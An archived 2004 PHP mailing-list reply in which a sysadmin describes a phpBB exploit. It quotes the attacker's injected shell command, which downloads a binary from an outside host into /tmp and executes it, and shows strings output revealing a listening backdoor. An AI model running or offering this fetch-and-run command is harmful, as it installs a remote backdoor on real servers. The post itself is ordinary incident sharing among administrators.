Re: PHP Exploit via phpBB?

From:	Ashley M. Kirchner	Date:	Wed, 22 Dec 2004 22:49:20 +0000
Subject:	Re: PHP Exploit via phpBB?
References:	1 2	Groups:	php.general
Request:	Send a blank email to php-general+get-205017@lists.php.net to get a copy of this message

John Nichel wrote:

echo ___INICIO___;cd /tmp;wget http://www.intranorth.com.br/xpl/r0nin;chmod 777 r0nin;./r0nin;echo ___FIM___; It also downloaded a file from a Brazilian website, and executed it in the /tmp directory...I deleted all of those, but saved one to 'play' with later.

# strings r0nin [snip]

       socket
       bind
       listen
       PsychoPhobia Backdoor is starting...

[snip] Might want to run nmap (or other equivalent program) on your system. -- W | I haven't lost my mind; it's backed up on tape somewhere. +-------------------------------------------------------------------- Ashley M. Kirchner <mailto:ashley@pcraft.com> . 303.442.6410 x130 IT Director / SysAdmin / Websmith . 800.441.3873 x130 Photo Craft Laboratories, Inc. . 3550 Arapahoe Ave. #6 http://www.pcraft.com ..... . . . Boulder, CO 80303, U.S.A.